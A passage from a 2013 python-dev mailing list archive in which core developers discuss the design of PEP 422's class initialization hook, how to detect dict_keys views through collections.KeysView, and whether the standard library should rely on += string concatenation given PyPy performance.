In-Reply-To: <CALeMXf6n7217x=TBzcFYTx==3_ZSk8gErgjF+hJbUocqmNejnw@mail.gmail.com>
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
	<20130210134700.7dd822df@pitrou.net>
	<CADiSq7dBcvtTs2X_JM5Po7qNzaUk9zbtoN+9NGGv00X0OEX5gg@mail.gmail.com>
	<20130210143442.5e3cafcc@pitrou.net>
	<CADiSq7eYG6NYxMSyZAR9i2_65k6LBKt5PEZwC6SPkpotM3-KZw@mail.gmail.com>
	<20130210152814.66c26f76@pitrou.net>
	<20130211101536.6f769ee3@anarchist.wooz.org>
	<20130211162127.6d4705c8@pitrou.net>
	<CAP7+vJLDuHUt8T0+a=nuEydHD6n16vFx0VRB6A66rBMaoHqtRA@mail.gmail.com>
	<CALeMXf6n7217x=TBzcFYTx==3_ZSk8gErgjF+hJbUocqmNejnw@mail.gmail.com>
Message-ID: <CAP7+vJKAjNoHjEK=-xcrrfONzffuiTyBP1_bnEK-s-XMzT=fwQ@mail.gmail.com>

On Mon, Feb 11, 2013 at 12:57 PM, PJ Eby <pje at telecommunity.com> wrote:

> On Mon, Feb 11, 2013 at 12:44 PM, Guido van Rossum <guido at python.org>
> wrote:
> > Hi Nick,
> >
> > I think this will make a fine addition to the language. I agree that
> > it is superior to the alternatives and fulfills a real (if rare) need.
> >
> > I only have a few nits/questions/suggestions.
> >
> > - With PJE, I think __init_class__ should automatically be a class
> > method.
>
> Actually, I didn't say that as such, because I'm not sure how the heck
> we'd implement that.  ;-)
>
> For example, at what point is it converted to a classmethod?  Is it
> going to be a slot method with special C-level handling?  Handled by
> the compiler?  What happens if somebody makes it a
>
> > The same way that __new__ is automatically a class method.
>
> Actually, isn't it automatically a staticmethod?  Oh crap.  Now that
> I'm thinking about it, doesn't this *have* to be a static method,
> explicitly passing in the class?  I mean, otherwise, won't calling
> super().__init_class__() invoke it on the base class, rather than the
> current class?
>
> ISTM that EIBTI argues for the __new__/staticmethod approach,
> especially if you're returning the class (per below)
>

Let's see what Nick and the implementer say.


> > - Would it make any sense to require that __init_class__ *returns* the
> > new class object (to complete the similarity with class decorators)?
>
> It would certainly be quite useful to do so, but in that case, perhaps
> the method should be named __decorate_class__?  And in that event the
> standard usage would look like:
>
>     def __decorate_class__(cls):
>         cls = super().__decorate_class__(cls)
>         # do stuff
>         return cls
>
> On the other hand, one could just drop the super() requirement and
> make the usage even simpler by having the class machinery walk the MRO
> and pass each method the result of invoking the previous one.  Then
> the methods are short and sweet, and super() and __class__ don't come
> into it.  (Though I guess the class machinery could keep setting
> __class__ to whatever the last-returned class was.)
>
> In his first draft, Nick implemented inheritable decorators instead,
> using a __decorators__ attribute in the class body, or something like
> that.  While that approach had an issue or two of its own, it's
> possible that just going with a single __decorate_class__ method would
> work out better.
>

Half-baked idea: Maybe the base class __decorate_class__ would call the
class decorators? Or does that not make sense?

-- 
--Guido van Rossum (python.org/~guido)
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130211/37ee2db3/attachment.html>

From ncoghlan at gmail.com  Mon Feb 11 23:29:00 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Tue, 12 Feb 2013 08:29:00 +1000
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
In-Reply-To: <CAP7+vJKAjNoHjEK=-xcrrfONzffuiTyBP1_bnEK-s-XMzT=fwQ@mail.gmail.com>
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
	<20130210134700.7dd822df@pitrou.net>
	<CADiSq7dBcvtTs2X_JM5Po7qNzaUk9zbtoN+9NGGv00X0OEX5gg@mail.gmail.com>
	<20130210143442.5e3cafcc@pitrou.net>
	<CADiSq7eYG6NYxMSyZAR9i2_65k6LBKt5PEZwC6SPkpotM3-KZw@mail.gmail.com>
	<20130210152814.66c26f76@pitrou.net>
	<20130211101536.6f769ee3@anarchist.wooz.org>
	<20130211162127.6d4705c8@pitrou.net>
	<CAP7+vJLDuHUt8T0+a=nuEydHD6n16vFx0VRB6A66rBMaoHqtRA@mail.gmail.com>
	<CALeMXf6n7217x=TBzcFYTx==3_ZSk8gErgjF+hJbUocqmNejnw@mail.gmail.com>
	<CAP7+vJKAjNoHjEK=-xcrrfONzffuiTyBP1_bnEK-s-XMzT=fwQ@mail.gmail.com>
Message-ID: <CADiSq7f+Nub1PaSs=z0dsJ8b=GaypH-jQO+9Othgqza9rs0nBA@mail.gmail.com>

On 12 Feb 2013 07:44, "Guido van Rossum" <guido at python.org> wrote:
>
> On Mon, Feb 11, 2013 at 12:57 PM, PJ Eby <pje at telecommunity.com> wrote:
>>
>> On Mon, Feb 11, 2013 at 12:44 PM, Guido van Rossum <guido at python.org>
wrote:
>> > Hi Nick,
>> >
>> > I think this will make a fine addition to the language. I agree that
>> > it is superior to the alternatives and fulfills a real (if rare) need.
>> >
>> > I only have a few nits/questions/suggestions.
>> >
>> > - With PJE, I think __init_class__ should automatically be a class
>> > method.
>>
>> Actually, I didn't say that as such, because I'm not sure how the heck
>> we'd implement that.  ;-)
>>
>> For example, at what point is it converted to a classmethod?  Is it
>> going to be a slot method with special C-level handling?  Handled by
>> the compiler?  What happens if somebody makes it a
>>
>> > The same way that __new__ is automatically a class method.
>>
>> Actually, isn't it automatically a staticmethod?  Oh crap.  Now that
>> I'm thinking about it, doesn't this *have* to be a static method,
>> explicitly passing in the class?  I mean, otherwise, won't calling
>> super().__init_class__() invoke it on the base class, rather than the
>> current class?
>>
>> ISTM that EIBTI argues for the __new__/staticmethod approach,
>> especially if you're returning the class (per below)
>
>
> Let's see what Nick and the implementer say.

I think these are some interesting ideas and it's going to take me a while
to digest them and update the PEP :)

A few random thoughts:

1. I like the idea of a metaprogramming "howto" that provides advice on
choosing a suitable level of metaprogramming (with the default choice being
"use existing decorators", then escalating through creating custom
decorators all the way to creating custom metaclasses). I don't think the
PEP needs to be conditional on writing that, but I will at least add PJE's
list to the PEP itself.

2. I see the new method as more analogous to__init__ than to__new__, so the
__decorate_class__ idea makes me nervous, as it's closer to a __new__
method. Composition gets a *lot* harder when your parent class can switch
out the object on you.

3. I'm trying to avoid any custom magic specific to this method, but making
it implicitly a static or class method is fairly easy if we so choose - the
standard retrieval code during class creation can just bypass the
descriptor machinery, and wrap it in staticmethod or classmethod if it
isn't already. Given that __new__ is already implicitly static, it may be
easier to follow that precedent here rather than trying to explain why an
explicit @classmethod is needed in one case but not the other.

4.__class__ is already bound as soon as we have a class object to bind it
to, so we can't move it any earlier. However, it's already early enough to
let references to it from the new method (including the implied one in
zero-arg super) work properly. The black magic that is zero-arg super also
deals with PJE's concern about propagating the actual class up the MRO (as
it is equivalent to "super(__class__, first_argument)").

5. Implicitly walking the MRO bothers me, as it becomes a special case for
people to learn. We don't do that for __init__ or __new__, so I don't think
it makes sense to do it here. We can include a recommended structure in the
docs, where the first step is calling the parent through. As PJE suggested,
a no-op method on type will make that simple and fairly safe (people using
a metaclass hierarchy not anchored on type can figure out their own
equivalent)

Cheers,
Nick.

>
>>
>> > - Would it make any sense to require that __init_class__ *returns* the
>> > new class object (to complete the similarity with class decorators)?
>>
>> It would certainly be quite useful to do so, but in that case, perhaps
>> the method should be named __decorate_class__?  And in that event the
>> standard usage would look like:
>>
>>     def __decorate_class__(cls):
>>         cls = super().__decorate_class__(cls)
>>         # do stuff
>>         return cls
>>
>> On the other hand, one could just drop the super() requirement and
>> make the usage even simpler by having the class machinery walk the MRO
>> and pass each method the result of invoking the previous one.  Then
>> the methods are short and sweet, and super() and __class__ don't come
>> into it.  (Though I guess the class machinery could keep setting
>> __class__ to whatever the last-returned class was.)
>>
>> In his first draft, Nick implemented inheritable decorators instead,
>> using a __decorators__ attribute in the class body, or something like
>> that.  While that approach had an issue or two of its own, it's
>> possible that just going with a single __decorate_class__ method would
>> work out better.
>
>
> Half-baked idea: Maybe the base class __decorate_class__ would call the
class decorators? Or does that not make sense?
>
> --
> --Guido van Rossum (python.org/~guido)
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130212/d0954576/attachment-0001.html>

From guido at python.org  Mon Feb 11 23:35:08 2013
From: guido at python.org (Guido van Rossum)
Date: Mon, 11 Feb 2013 14:35:08 -0800
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
In-Reply-To: <CADiSq7f+Nub1PaSs=z0dsJ8b=GaypH-jQO+9Othgqza9rs0nBA@mail.gmail.com>
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
	<20130210134700.7dd822df@pitrou.net>
	<CADiSq7dBcvtTs2X_JM5Po7qNzaUk9zbtoN+9NGGv00X0OEX5gg@mail.gmail.com>
	<20130210143442.5e3cafcc@pitrou.net>
	<CADiSq7eYG6NYxMSyZAR9i2_65k6LBKt5PEZwC6SPkpotM3-KZw@mail.gmail.com>
	<20130210152814.66c26f76@pitrou.net>
	<20130211101536.6f769ee3@anarchist.wooz.org>
	<20130211162127.6d4705c8@pitrou.net>
	<CAP7+vJLDuHUt8T0+a=nuEydHD6n16vFx0VRB6A66rBMaoHqtRA@mail.gmail.com>
	<CALeMXf6n7217x=TBzcFYTx==3_ZSk8gErgjF+hJbUocqmNejnw@mail.gmail.com>
	<CAP7+vJKAjNoHjEK=-xcrrfONzffuiTyBP1_bnEK-s-XMzT=fwQ@mail.gmail.com>
	<CADiSq7f+Nub1PaSs=z0dsJ8b=GaypH-jQO+9Othgqza9rs0nBA@mail.gmail.com>
Message-ID: <CAP7+vJKx8vZd-tmmTxK-_PM_4qgeBbYmA6npyinsnx+XfpCv_Q@mail.gmail.com>

On Mon, Feb 11, 2013 at 2:29 PM, Nick Coghlan <ncoghlan at gmail.com> wrote:

>
> On 12 Feb 2013 07:44, "Guido van Rossum" <guido at python.org> wrote:
> >
> > On Mon, Feb 11, 2013 at 12:57 PM, PJ Eby <pje at telecommunity.com> wrote:
> >>
> >> On Mon, Feb 11, 2013 at 12:44 PM, Guido van Rossum <guido at python.org>
> wrote:
> >> > Hi Nick,
> >> >
> >> > I think this will make a fine addition to the language. I agree that
> >> > it is superior to the alternatives and fulfills a real (if rare) need.
> >> >
> >> > I only have a few nits/questions/suggestions.
> >> >
> >> > - With PJE, I think __init_class__ should automatically be a class
> >> > method.
> >>
> >> Actually, I didn't say that as such, because I'm not sure how the heck
> >> we'd implement that.  ;-)
> >>
> >> For example, at what point is it converted to a classmethod?  Is it
> >> going to be a slot method with special C-level handling?  Handled by
> >> the compiler?  What happens if somebody makes it a
> >>
> >> > The same way that __new__ is automatically a class method.
> >>
> >> Actually, isn't it automatically a staticmethod?  Oh crap.  Now that
> >> I'm thinking about it, doesn't this *have* to be a static method,
> >> explicitly passing in the class?  I mean, otherwise, won't calling
> >> super().__init_class__() invoke it on the base class, rather than the
> >> current class?
> >>
> >> ISTM that EIBTI argues for the __new__/staticmethod approach,
> >> especially if you're returning the class (per below)
> >
> >
> > Let's see what Nick and the implementer say.
>
> I think these are some interesting ideas and it's going to take me a while
> to digest them and update the PEP :)
>
Heh. :-)


> A few random thoughts:
>
> 1. I like the idea of a metaprogramming "howto" that provides advice on
> choosing a suitable level of metaprogramming (with the default choice being
> "use existing decorators", then escalating through creating custom
> decorators all the way to creating custom metaclasses). I don't think the
> PEP needs to be conditional on writing that, but I will at least add PJE's
> list to the PEP itself.
>
Sure.

> 2. I see the new method as more analogous to__init__ than to__new__, so
> the __decorate_class__ idea makes me nervous, as it's closer to a __new__
> method. Composition gets a *lot* harder when your parent class can switch
> out the object on you.
>
Fair enough.

> 3. I'm trying to avoid any custom magic specific to this method, but
> making it implicitly a static or class method is fairly easy if we so
> choose - the standard retrieval code during class creation can just bypass
> the descriptor machinery, and wrap it in staticmethod or classmethod if it
> isn't already. Given that __new__ is already implicitly static, it may be
> easier to follow that precedent here rather than trying to explain why an
> explicit @classmethod is needed in one case but not the other.
>
Also fair enough.

> 4.__class__ is already bound as soon as we have a class object to bind it
> to, so we can't move it any earlier. However, it's already early enough to
> let references to it from the new method (including the implied one in
> zero-arg super) work properly. The black magic that is zero-arg super also
> deals with PJE's concern about propagating the actual class up the MRO (as
> it is equivalent to "super(__class__, first_argument)").
>
So where is it not bound when a metaclass runs? I guess in the metaclass's
__new__()? Because in the metaclass's __init__() it should exist IIUC.

> 5. Implicitly walking the MRO bothers me, as it becomes a special case for
> people to learn. We don't do that for __init__ or __new__, so I don't think
> it makes sense to do it here. We can include a recommended structure in the
> docs, where the first step is calling the parent through. As PJE suggested,
> a no-op method on type will make that simple and fairly safe (people using
> a metaclass hierarchy not anchored on type can figure out their own
> equivalent)
>
Agreed.

-- 
--Guido van Rossum (python.org/~guido)
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130211/5ab877b2/attachment.html>

From zuo at chopin.edu.pl  Tue Feb 12 00:56:25 2013
From: zuo at chopin.edu.pl (Jan Kaliszewski)
Date: Tue, 12 Feb 2013 00:56:25 +0100
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
In-Reply-To: <CADiSq7f+Nub1PaSs=z0dsJ8b=GaypH-jQO+9Othgqza9rs0nBA@mail.gmail.com>
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
	<20130210134700.7dd822df@pitrou.net>
	<CADiSq7dBcvtTs2X_JM5Po7qNzaUk9zbtoN+9NGGv00X0OEX5gg@mail.gmail.com>
	<20130210143442.5e3cafcc@pitrou.net>
	<CADiSq7eYG6NYxMSyZAR9i2_65k6LBKt5PEZwC6SPkpotM3-KZw@mail.gmail.com>
	<20130210152814.66c26f76@pitrou.net>
	<20130211101536.6f769ee3@anarchist.wooz.org>
	<20130211162127.6d4705c8@pitrou.net>
	<CAP7+vJLDuHUt8T0+a=nuEydHD6n16vFx0VRB6A66rBMaoHqtRA@mail.gmail.com>
	<CALeMXf6n7217x=TBzcFYTx==3_ZSk8gErgjF+hJbUocqmNejnw@mail.gmail.com>
	<CAP7+vJKAjNoHjEK=-xcrrfONzffuiTyBP1_bnEK-s-XMzT=fwQ@mail.gmail.com>
	<CADiSq7f+Nub1PaSs=z0dsJ8b=GaypH-jQO+9Othgqza9rs0nBA@mail.gmail.com>
Message-ID: <3230f1789df0f010e01da15dab7e7d22@chopin.edu.pl>

11.02.2013 23:29, Nick Coghlan wrote:

> 3. I'm trying to avoid any custom magic specific to this method, but
> making it implicitly a static or class method is fairly easy if we so
> choose - the standard retrieval code during class creation can just
> bypass the descriptor machinery, and wrap it in staticmethod or
> classmethod if it isn't already. Given that __new__ is already
> implicitly static, it may be easier to follow that precedent here
> rather than trying to explain why an explicit @classmethod is needed
> in one case but not the other.

Though __new__ is implicitly a *static* rather than a *class* method
(so we can use it e.g. by calling object.__new__(MyClass), though --
besides -- in Py3k unbound methods have gone so the difference between
static and non-static-and-non-class-methods is smaller than in Py2.x),
in case of __init_class__ + super() it'd have to be called:

     super().__init_class__(__class__)

...and it seems to me a bit awkward.

And making it implicitly a *class* rather than a *static* method whould
make *impossible* to do calls such as:

     ExplicitAncestor.__init_class__(ExplicitDescendant)

...though I'm not sure we'd ever need such a call. If not -- implicit
*class* method may be a good idea, but if we would?

***

On the margin: is that middle underscore in '__init_class__' necessary?

We had __metaclass__, not __meta_class__... OK, it's one world, but 
still
we also have __getattr__, __getattribute__, __getitem__, 
__instancecheck__,
__qualname__, __truediv__ etc. (not __get_attr__, __instance_check__ 
etc.).
[I remember only one exception: __reduce_ex__, rather rarely used, and
easy to defend against weird __reduceex__].

Wouldn't __initclass__ be readable enough? IMHO it could spare users
trouble with remembering special case.

Cheers.
*j


From steve at pearwood.info  Tue Feb 12 01:09:15 2013
From: steve at pearwood.info (Steven D'Aprano)
Date: Tue, 12 Feb 2013 11:09:15 +1100
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
In-Reply-To: <3230f1789df0f010e01da15dab7e7d22@chopin.edu.pl>
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
	<20130210134700.7dd822df@pitrou.net>
	<CADiSq7dBcvtTs2X_JM5Po7qNzaUk9zbtoN+9NGGv00X0OEX5gg@mail.gmail.com>
	<20130210143442.5e3cafcc@pitrou.net>
	<CADiSq7eYG6NYxMSyZAR9i2_65k6LBKt5PEZwC6SPkpotM3-KZw@mail.gmail.com>
	<20130210152814.66c26f76@pitrou.net>
	<20130211101536.6f769ee3@anarchist.wooz.org>
	<20130211162127.6d4705c8@pitrou.net>
	<CAP7+vJLDuHUt8T0+a=nuEydHD6n16vFx0VRB6A66rBMaoHqtRA@mail.gmail.com>
	<CALeMXf6n7217x=TBzcFYTx==3_ZSk8gErgjF+hJbUocqmNejnw@mail.gmail.com>
	<CAP7+vJKAjNoHjEK=-xcrrfONzffuiTyBP1_bnEK-s-XMzT=fwQ@mail.gmail.com>
	<CADiSq7f+Nub1PaSs=z0dsJ8b=GaypH-jQO+9Othgqza9rs0nBA@mail.gmail.com>
	<3230f1789df0f010e01da15dab7e7d22@chopin.edu.pl>
Message-ID: <5119882B.2020306@pearwood.info>

On 12/02/13 10:56, Jan Kaliszewski wrote:
> Wouldn't __initclass__ be readable enough? IMHO it could spare users
> trouble with remembering special case.

+1

I approve of the colour of this bikeshed. __init_class__ has too many
underscores.



-- 
Steven

From ncoghlan at gmail.com  Tue Feb 12 08:16:56 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Tue, 12 Feb 2013 17:16:56 +1000
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
In-Reply-To: <CAP7+vJKx8vZd-tmmTxK-_PM_4qgeBbYmA6npyinsnx+XfpCv_Q@mail.gmail.com>
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
	<20130210134700.7dd822df@pitrou.net>
	<CADiSq7dBcvtTs2X_JM5Po7qNzaUk9zbtoN+9NGGv00X0OEX5gg@mail.gmail.com>
	<20130210143442.5e3cafcc@pitrou.net>
	<CADiSq7eYG6NYxMSyZAR9i2_65k6LBKt5PEZwC6SPkpotM3-KZw@mail.gmail.com>
	<20130210152814.66c26f76@pitrou.net>
	<20130211101536.6f769ee3@anarchist.wooz.org>
	<20130211162127.6d4705c8@pitrou.net>
	<CAP7+vJLDuHUt8T0+a=nuEydHD6n16vFx0VRB6A66rBMaoHqtRA@mail.gmail.com>
	<CALeMXf6n7217x=TBzcFYTx==3_ZSk8gErgjF+hJbUocqmNejnw@mail.gmail.com>
	<CAP7+vJKAjNoHjEK=-xcrrfONzffuiTyBP1_bnEK-s-XMzT=fwQ@mail.gmail.com>
	<CADiSq7f+Nub1PaSs=z0dsJ8b=GaypH-jQO+9Othgqza9rs0nBA@mail.gmail.com>
	<CAP7+vJKx8vZd-tmmTxK-_PM_4qgeBbYmA6npyinsnx+XfpCv_Q@mail.gmail.com>
Message-ID: <CADiSq7fj7jw2LWOn4TJHxOtW_07rgNJEDbWxEZEm79P+9A3VOg@mail.gmail.com>

On Tue, Feb 12, 2013 at 8:35 AM, Guido van Rossum <guido at python.org> wrote:
> On Mon, Feb 11, 2013 at 2:29 PM, Nick Coghlan <ncoghlan at gmail.com> wrote:
>> 4.__class__ is already bound as soon as we have a class object to bind it
>> to, so we can't move it any earlier. However, it's already early enough to
>> let references to it from the new method (including the implied one in
>> zero-arg super) work properly. The black magic that is zero-arg super also
>> deals with PJE's concern about propagating the actual class up the MRO (as
>> it is equivalent to "super(__class__, first_argument)").
>
> So where is it not bound when a metaclass runs? I guess in the metaclass's
> __new__()? Because in the metaclass's __init__() it should exist IIUC.

I stand corrected, we don't *quite* bind it as soon as the class
object exists - we bind it as soon as the call to the metaclass
returns. So even though the class object exists when __init__ runs, it
isn't bound to __class__ yet. Given that the class construction
machinery treats the metaclass constructor as an opaque callable,
trying to get the cell binding to happen between the call to __new__
and the one to __init__ would be rather challenging (Translation: I'm
not sure where you would even start...).

Regards,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From chris at simplistix.co.uk  Tue Feb 12 08:05:41 2013
From: chris at simplistix.co.uk (Chris Withers)
Date: Tue, 12 Feb 2013 07:05:41 +0000
Subject: [Python-Dev] what is a dict_keys and where can I import it from?
Message-ID: <5119E9C5.3070400@simplistix.co.uk>

Hi all,

So, dicts in Python 3 return "something different" from their keys and 
values methods:

 >>> dict(x=1, y=2).keys()
dict_keys(['y', 'x'])
 >>> type(dict(x=1, y=2).keys())
<class 'dict_keys'>

I have vague memories of these things being referred to as views or some 
such? Where can I learn more?

More importantly, how can I tell if I have one of them?
I guess I can keep a reference to type({}.keys()) somewhere, but that 
feels a bit yucky. Should these things be in the types module?

cheers,

Chris

-- 
Simplistix - Content Management, Batch Processing & Python Consulting
             - http://www.simplistix.co.uk

From andrew.svetlov at gmail.com  Tue Feb 12 11:18:21 2013
From: andrew.svetlov at gmail.com (Andrew Svetlov)
Date: Tue, 12 Feb 2013 12:18:21 +0200
Subject: [Python-Dev] what is a dict_keys and where can I import it from?
In-Reply-To: <5119E9C5.3070400@simplistix.co.uk>
References: <5119E9C5.3070400@simplistix.co.uk>
Message-ID: <CAL3CFcWvOKifg0wnGu6oHQPs7pSFoNvyUuVsQcb46rnFE2-aTw@mail.gmail.com>

Is collections.KeysView good for you?

On Tue, Feb 12, 2013 at 9:05 AM, Chris Withers <chris at simplistix.co.uk> wrote:
> Hi all,
>
> So, dicts in Python 3 return "something different" from their keys and
> values methods:
>
>>>> dict(x=1, y=2).keys()
> dict_keys(['y', 'x'])
>>>> type(dict(x=1, y=2).keys())
> <class 'dict_keys'>
>
> I have vague memories of these things being referred to as views or some
> such? Where can I learn more?
>
> More importantly, how can I tell if I have one of them?
> I guess I can keep a reference to type({}.keys()) somewhere, but that feels
> a bit yucky. Should these things be in the types module?
>
> cheers,
>
> Chris
>
> --
> Simplistix - Content Management, Batch Processing & Python Consulting
>             - http://www.simplistix.co.uk
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/andrew.svetlov%40gmail.com



--
Thanks,
Andrew Svetlov

From solipsis at pitrou.net  Tue Feb 12 11:22:28 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Tue, 12 Feb 2013 11:22:28 +0100
Subject: [Python-Dev] Question regarding: Lib/_markupbase.py
References: <1360585008.27100.YahooMailNeo@web171404.mail.ir2.yahoo.com>
	<20130211123735.GA28063@iskra.aviel.ru>
	<CAP7+vJL5d8OCiAJ2W6-_9=wvyhwgyd4-JZ+biSL0mzkgOQfvSA@mail.gmail.com>
Message-ID: <20130212112228.6eb5f0eb@pitrou.net>

Le Mon, 11 Feb 2013 11:02:04 -0800,
Guido van Rossum <guido at python.org> a ?crit :
> Warning: see http://bugs.python.org/issue17170. Depending on the
> length of the string being scanned and the probability of finding the
> specific character, the proposed change could actually be a
> *pessimization*. OTOH if the character occurs many times, the slice
> will actually cause O(N**2) behavior. So yes, it depends greatly on
> the distribution of the input data.

That said, the savings are still puny unless you spend your time
calling str.find().

Regards

Antoine.



From steve at pearwood.info  Tue Feb 12 12:27:21 2013
From: steve at pearwood.info (Steven D'Aprano)
Date: Tue, 12 Feb 2013 22:27:21 +1100
Subject: [Python-Dev] what is a dict_keys and where can I import it from?
In-Reply-To: <5119E9C5.3070400@simplistix.co.uk>
References: <5119E9C5.3070400@simplistix.co.uk>
Message-ID: <511A2719.6090809@pearwood.info>

On 12/02/13 18:05, Chris Withers wrote:
> Hi all,
>
> So, dicts in Python 3 return "something different" from their keys and values methods:
>
>> >> dict(x=1, y=2).keys()
> dict_keys(['y', 'x'])
>> >> type(dict(x=1, y=2).keys())
> <class 'dict_keys'>
>
> I have vague memories of these things being referred to as views or some such? Where can I learn more?

The Fine Manual is usually a good place to refresh your vague memories :-)

http://docs.python.org/3/library/stdtypes.html#dict.keys

By the way, they're also in Python 2.7, only they're called  "viewkeys" instead.



> More importantly, how can I tell if I have one of them?

Depends why you care. You may not care, but for those times where you do, they are in collections.


py> from collections import KeysView
py> keys = {}.keys()
py> isinstance(keys, KeysView)
True


An anomaly, which I cannot explain:

py> issubclass(type(keys), KeysView)
True
py> type(keys) is KeysView
False
py> type(keys).__mro__
(<class 'dict_keys'>, <class 'object'>)


This disturbs my calm, because I expect that if issubclass returns True, the two classes will either be identical, or the second will be in the MRO of the first. What have I missed?



> I guess I can keep a reference to type({}.keys()) somewhere, but that feels a bit yucky.

I remember Python 1.4 days when the only way to type-test something was:

if type(something) is type([]):
     ...

so dynamically grabbing the type from a literal when needed does not seem the least bit yucky to me.


-- 
Steven

From amauryfa at gmail.com  Tue Feb 12 12:38:48 2013
From: amauryfa at gmail.com (Amaury Forgeot d'Arc)
Date: Tue, 12 Feb 2013 12:38:48 +0100
Subject: [Python-Dev] what is a dict_keys and where can I import it from?
In-Reply-To: <511A2719.6090809@pearwood.info>
References: <5119E9C5.3070400@simplistix.co.uk>
	<511A2719.6090809@pearwood.info>
Message-ID: <CAGmFidaeBp1t6dN0bXa21OWbrmGgP=7rQd5y=Qn52fjZj6eafA@mail.gmail.com>

2013/2/12 Steven D'Aprano <steve at pearwood.info>

> An anomaly, which I cannot explain:
>
> py> issubclass(type(keys), KeysView)
> True
> py> type(keys) is KeysView
> False
> py> type(keys).__mro__
> (<class 'dict_keys'>, <class 'object'>)
>
>
> This disturbs my calm, because I expect that if issubclass returns True,
> the two classes will either be identical, or the second will be in the MRO
> of the first. What have I missed?
>

Ah, the magic of ABCs...
KeysView overrides __instancecheck__, and can pretend to be any other class.

This is precisely set in Lib/collections/abc.py:
  KeysView.register(dict_keys)


-- 
Amaury Forgeot d'Arc
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130212/94dba57a/attachment.html>

From fijall at gmail.com  Tue Feb 12 22:03:04 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Tue, 12 Feb 2013 23:03:04 +0200
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
Message-ID: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>

Hi

We recently encountered a performance issue in stdlib for pypy. It
turned out that someone commited a performance "fix" that uses += for
strings instead of "".join() that was there before.

Now this hurts pypy (we can mitigate it to some degree though) and
possible Jython and IronPython too.

How people feel about generally not having += on long strings in
stdlib (since the refcount = 1 thing is a hack)?

What about other performance improvements in stdlib that are
problematic for pypy or others?

Personally I would like cleaner code in stdlib vs speeding up CPython.
Typically that also helps pypy so I'm not unbiased.

Cheers,
fijal

From solipsis at pitrou.net  Tue Feb 12 22:06:42 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Tue, 12 Feb 2013 22:06:42 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
Message-ID: <20130212220642.71f03220@pitrou.net>


Hi !

On Tue, 12 Feb 2013 23:03:04 +0200
Maciej Fijalkowski <fijall at gmail.com> wrote:
> 
> We recently encountered a performance issue in stdlib for pypy. It
> turned out that someone commited a performance "fix" that uses += for
> strings instead of "".join() that was there before.
> 
> Now this hurts pypy (we can mitigate it to some degree though) and
> possible Jython and IronPython too.
> 
> How people feel about generally not having += on long strings in
> stdlib (since the refcount = 1 thing is a hack)?

I agree that += should not be used as an optimization (on strings) in
the stdlib code. The optimization is there so that uncareful code does
not degenerate, but deliberately relying on it is a bit devilish.
(optimisare diabolicum :-))

Regards

Antoine.



From brett at python.org  Tue Feb 12 22:16:55 2013
From: brett at python.org (Brett Cannon)
Date: Tue, 12 Feb 2013 16:16:55 -0500
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <20130212220642.71f03220@pitrou.net>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
Message-ID: <CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>

On Tue, Feb 12, 2013 at 4:06 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:

>
> Hi !
>
> On Tue, 12 Feb 2013 23:03:04 +0200
> Maciej Fijalkowski <fijall at gmail.com> wrote:
> >
> > We recently encountered a performance issue in stdlib for pypy. It
> > turned out that someone commited a performance "fix" that uses += for
> > strings instead of "".join() that was there before.
> >
> > Now this hurts pypy (we can mitigate it to some degree though) and
> > possible Jython and IronPython too.
> >
> > How people feel about generally not having += on long strings in
> > stdlib (since the refcount = 1 thing is a hack)?
>
> I agree that += should not be used as an optimization (on strings) in
> the stdlib code. The optimization is there so that uncareful code does
> not degenerate, but deliberately relying on it is a bit devilish.
> (optimisare diabolicum :-))
>

Ditto from me. If you're going so far as to want to optimize Python code
then you probably are going to care enough to accelerate it in C, in which
case you can leave the Python code idiomatic.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130212/7eae368b/attachment.html>

From fijall at gmail.com  Tue Feb 12 22:25:49 2013
From: fijall at gmail.com (Maciej Fijalkowski)
